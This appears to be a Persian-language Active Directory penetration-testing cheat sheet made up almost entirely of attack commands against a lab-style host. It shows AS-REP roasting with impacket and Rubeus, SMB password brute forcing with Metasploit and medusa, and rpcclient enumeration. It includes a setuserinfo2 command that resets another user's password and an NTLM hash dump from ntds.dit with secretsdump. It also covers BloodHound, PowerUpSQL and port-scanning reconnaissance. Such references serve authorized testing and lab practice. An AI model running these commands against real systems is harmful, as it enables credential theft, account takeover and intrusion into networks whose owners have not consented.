smbclient //10.10.10.10/profiles$

دریافت کاربران به همراه هش کلمه عبور

python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py 10.10.10.10L -usersfile

حدس کلمه عبور های مختلف smb

با metasploit

msf5 > use auxiliary/scanner/smb/smb_login
set pass_file wordlist
set USER_file users.txt
set RHOSTS 10.10.10.10
run

با medusa

medusa -h 10.10.10.10 -U users.txt -P wordlist -M smbnt

دستورات rpcclient

ورود به سیستم

rpcclient 10.10.10.10 -U support

نمایش اطلاعات کاربر

queryuser support

نمایش کاربران

enumdomusers

نمایش دسترسی ها

enumprivs

تغییر دسترسی کاربر

setuserinfo2 audit2020 23 'redteam'

نمایش چاپگر ها

enumprinters

استخراج NTLM از فایل ntds.dit

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system system -
hashes lmhash:nthash LOCAL -output nt-hash

جمع آوری اطلاعات با استفاده از SharpHound

https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
.\SharpHound.exe
or
SharpHound.exe -c All --zipfilename output.zip

جمع آوری اطلاعات درباره Sql Server

https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1
. .\PowerUpSQL.ps1
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

بدست آوردن AS-REP Roast hash

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
.\Rubeus.exe asreproast

لیست ip های دردسترس بدون استفاده از nmap

for /L %i in (1,1,255) do @ping -n 1 -w 200 10.10.10.%i > nul && echo 10.10.10.%i is up.

یا

https://github.com/sperner/PowerShell/blob/master/PortScan.ps1
.\PortScan.ps1
.\PortScan.ps1 10.10.10.10 1 10000

شناسایی سرویس با Test-WSMan

PS> Test-WSMan -ComputerName <COMPUTERNAME> -Port 6666